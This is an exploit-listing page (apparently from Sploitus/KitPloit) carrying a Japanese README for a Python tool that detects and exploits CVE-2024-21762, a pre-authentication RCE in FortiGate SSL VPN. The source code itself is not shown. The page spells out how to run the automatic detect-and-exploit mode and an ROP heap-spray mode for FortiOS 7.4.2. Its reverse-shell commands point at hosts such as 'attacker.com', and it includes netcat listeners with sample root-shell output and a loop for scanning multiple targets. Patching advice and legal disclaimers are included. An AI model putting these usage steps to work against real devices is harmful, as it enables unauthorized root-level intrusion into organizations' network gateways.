Sploitus

Exploit for CVE-2024-21762

kitploit · 2026-09-01

Exploit Code

MARKDOWN363 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0X13-BYTEZER0-CVE-2024-21762
# CVE-2024-21762 - FortiGate SSL VPN RCE 検出および悪用ツール

![Python 3.7+](https://img.shields.io/badge/python-3.7+-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg) ![Vulnerability: Critical](https://img.shields.io/badge/CVSS-9.8%20Critical-red.svg)

**CVE-2024-21762 の検出および悪用ツール - FortiGate SSL VPN の重大な脆弱性**

> ⚠️ **法的注意** : このツールは**許可されたテスト環境でのみ使用** してください。許可されていないシステムでの使用は**違法** であり、深刻な法的結果を招く可能性があります。

## 概要

CVE-2024-21762 は、FortiGate SSL VPN コンポーネントにおける重大な脆弱性であり、**認証前のリモートコード実行 (RCE)** を可能にします。この欠陥は、Transfer-Encoding chunked を使用した HTTP リクエストの脆弱なパース処理に存在し、`sslvpnd` コンポーネントでの out-of-bounds write を引き起こします。

### 技術的詳細

属性| 情報  
---|---  
**CVE ID**|  CVE-2024-21762  
**脆弱性**|  sslvpnd における Out-of-bounds write  
**タイプ**|  認証前のリモートコード実行 (RCE)  
**CVSS Score**|  9.8 (Critical)  
**影響を受けるコンポーネント**|  FortiOS SSL VPN  
**脆弱なバージョン**|  7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2  
  
## 機能

✅ **脆弱性の検出** \- 不正なリクエストにより脆弱な FortiGate を特定  
✅ **ベースラインテスト** \- テスト前にサーバーの通常の動作を確認  
✅ **自動モード** \- 脆弱性を自動で検出し悪用  
✅ **リバースシェル** \- IP/ポート設定による bash リバースシェルをサポート  
✅ **入力検証** \- 悪用前に IP とポートを検証  
✅ **詳細レポート** \- 修正推奨事項を含むレポートを生成  
✅ **堅牢なエラー処理** \- 安全な接続と例外の管理

## 要件

  * Python 3.7 以上
  * Python 標準ライブラリモジュール (socket, ssl, argparse, datetime, time, re)
  * ターゲットへのネットワークアクセス (ポート 443 またはカスタム)



## インストール

root@kitploit:~
    
    
    # リポジトリをクローン
    git clone https://github.com/seu-usuario/CVE-2024-21762.git
    cd CVE-2024-21762
    
    # 構文を確認
    python -m py_compile EXPLOIT.py
    
    # スクリプトを実行
    python EXPLOIT.py -h
    

## 使用方法

### 基本的な使用方法

root@kitploit:~
    
    
    # 簡単な検出テスト
    python EXPLOIT.py 192.168.1.100
    
    # カスタムポート
    python EXPLOIT.py 192.168.1.100 -p 8443
    
    # タイムアウト増加
    python EXPLOIT.py 192.168.1.100 --timeout 20
    

### 自動モード (検出 + 悪用)

root@kitploit:~
    
    
    # 事前設定済みリバースシェルによる自動モード
    python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
    
    # 資格情報なしの自動モード (対話的に要求)
    python EXPLOIT.py 192.168.1.100 --auto
    

### ROP モード - ヒープスプレーによる高度な悪用

ROP モードは、特定のターゲット (FortiOS 7.4.2) に対してヒープスプレーを用いた2段階の悪用を実装します:

root@kitploit:~
    
    
    # Node.js リバースシェルを使用した ROP 悪用
    python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
    
    # カスタムポート
    python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
    
    # 低速ターゲット向けタイムアウト増加
    python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
    

**ROP 悪用フロー:**

  1. ステージ 1: ROP ガジェットを含む 1.8MB のヒープスプレーを送信
  2. CPU 処理のため 2 秒待機
  3. ステージ 2: 4137 バイトのチャンクで OOB write をトリガー
  4. ペイロード実行のため 3 秒待機
  5. Node.js リバース接続確立



**リスニングサーバー側:**

root@kitploit:~
    
    
    # Linux/Mac/Windows (netcat 使用)
    nc -lnvp 4242
    
    # 期待される出力:
    # listening on [any] 4242 ...
    # connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
    # id
    # uid=0(root) gid=0(root) groups=0(root)
    

**⚠️ 重要な注意:** ROP モードは **FortiOS 7.4.2.F-build2571** 向けに最適化されています。ハードコードされた ROP チェーンのオフセットのため、他のバージョンでは動作しない可能性があります。

### リバースシェルによる手動テスト

root@kitploit:~
    
    
    # リバースシェルペイロードを送信
    python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
    
    # 複数オプションの組み合わせ
    python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
    

### 利用可能なオプション

root@kitploit:~
    
    
    位置引数:
      target                    テスト対象のホスト名または IP
    
    オプション引数:
      -h, --help                このヘルプメッセージを表示
      -t, --target HOSTNAME     ターゲットのホスト名または IP (代替)
      -p, --port PORT           SSL VPN ポート (デフォルト: 443)
      --timeout SECONDS         タイムアウト (秒) (デフォルト: 10)
      -li, --lhost IP           リバースシェルを受信するローカル IP
      -lp, --lport PORT         リバースシェルを受信するローカルポート
      --no-baseline             ベースラインテストをスキップ
      --auto                    自動モード: 検出して悪用
      --rop                     ROP モード: ヒープスプレーを使用した高度な悪用 (FortiOS 7.4.2)
      -v, --version             スクリプトのバージョンを表示
    

## 完全な使用例

### 1\. 簡単な検出

root@kitploit:~
    
    
    python EXPLOIT.py 192.168.1.100
    

脆弱性がある場合の期待される出力:

root@kitploit:~
    
    
    [+] Iniciando teste de vulnerabilidade...
    [!] VULNERÁVEL DETECTADO!
    [!] Servidor encerrou conexão abruptamente
    [!] STATUS: VULNERÁVEL
    

### 2\. リバースシェルによる自動悪用

root@kitploit:~
    
    
    python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
    

リスニングサーバー側:

root@kitploit:~
    
    
    # Linux/Mac
    nc -lnvp 4444
    
    # Windows
    ncat -lnvp 4444
    

### 3\. 複数ターゲットのテスト

root@kitploit:~
    
    
    for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
      python EXPLOIT.py $target --timeout 15
    done
    

## 動作の仕組み

### 検出フロー

  1. **ベースラインテスト** \- 通常の HTTP リクエストを送信し、標準的な動作を確認
  2. **不正なリクエスト** \- 脆弱な chunked encoding を使用した不正な HTTP リクエストを送信
  3. **分析** \- 応答を分析して脆弱性の兆候を検出: 
     * 接続の突然の切断
     * タイムアウト/サーバークラッシュ
     * 異常な TLS アラート
  4. **レポート** \- ステータスと推奨事項を含むレポートを生成



### 悪用フロー (自動モード)

  1. 検出テストを実行
  2. 脆弱な場合、リバースシェルペイロードを注入
  3. リバース接続を待機
  4. 最終レポートを生成



## 脆弱性の指標

このツールは、以下のいずれかの動作を検出した場合、ターゲットを脆弱と判断します:

  * ✓ 接続が突然切断される (空の応答)
  * ✓ ペイロード送信後のタイムアウト (サーバークラッシュ)
  * ✓ TLS アラート受信 (sslvpnd がクラッシュ)
  * ✓ 接続リセット (Connection Reset by Peer)



## 影響を受けるバージョン

## 修正方法

### 即時対応

  1. **FortiOS を修正バージョンに更新:**

     * FortiOS 7.0.14+
     * FortiOS 7.2.7+
     * FortiOS 7.4.3+
  2. **一時的な隔離:**

     * SSL VPN への外部アクセスを無効化
     * 管理アクセスを制限
  3. **監視:**

     * 悪用の兆候についてログを確認
     * 資格情報と異常なアクセスを確認



### 事後確認

root@kitploit:~
    
    
    # FortiOS バージョンを確認
    python EXPLOIT.py seu-fortinet.com
    

結果に「NÃO VULNERÁVEL」と表示されれば、パッチが正常に適用されています。

## プロジェクト構造

root@kitploit:~
    
    
    CVE-2024-21762/
    ├── EXPLOIT.py          # メインの悪用スクリプト
    ├── README.md           # このファイル
    ├── LICENSE             # MIT ライセンス
    └── .gitignore          # Git 設定
    

## クラスのメソッド

### CVE2024_21762_Detector

## エラー処理

  * ✓ 堅牢な入力検証
  * ✓ SSL/TLS 例外処理
  * ✓ 接続のタイムアウト
  * ✓ ソケットの安全なクローズ
  * ✓ 説明的なエラーメッセージ



## 制限事項

  * ⚠️ ターゲットへのネットワーク接続が必要
  * ⚠️ 脆弱性を検出しますが、悪用の成功は保証しません
  * ⚠️ リバースシェルはターゲット環境に依存します (bash が必要)
  * ⚠️ 制限の厳しいファイアウォールでは動作しません



## FAQ

**Q: Windows 環境で使用できますか?** A: はい、Python スクリプトは Windows でも動作しますが、標準の bash リバースシェルは機能しません。カスタムペイロードが必要になります。

**Q: 悪用が成功したかどうかを確認するには?** A: リバースシェルを待ち受けるマシン (nc/ncat) を確認してください。スクリプトは進行状況を示すメッセージを表示します。

**Q: 複数のターゲットに対して使用できますか?** A: はい、bash/PowerShell スクリプトを作成して IP リストを反復処理できます。

**Q: 通常モードと自動モードの違いは?** A: 自動モードは脆弱性が見つかった場合に自動的に悪用します。通常モードは検出のみ行います。

## コントリビューション

バグを見つけた場合や提案がある場合は、Issue を開くかプルリクエストを送ってください!

## ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

## 免責事項

このソフトウェアは、研究および許可されたテスト目的のために「現状のまま」提供されます。作者は以下について責任を負いません:

  * 許可されていない使用による損害
  * データ損失
  * 本番システムへの影響
  * 許可されていない使用による法的結果



**責任を持って、許可された環境でのみ使用してください**

## 参照

  * Fortinet セキュリティアドバイザリ
  * NVD - CVE-2024-21762
  * CVSS 計算機



## 著者

サイバーセキュリティの教育および研究目的で開発されました。

* * *

⚠️ **注意** : このツールは、自分が所有するか、テストする明示的な許可があるシステムでのみ使用してください。許可のない悪用は犯罪です。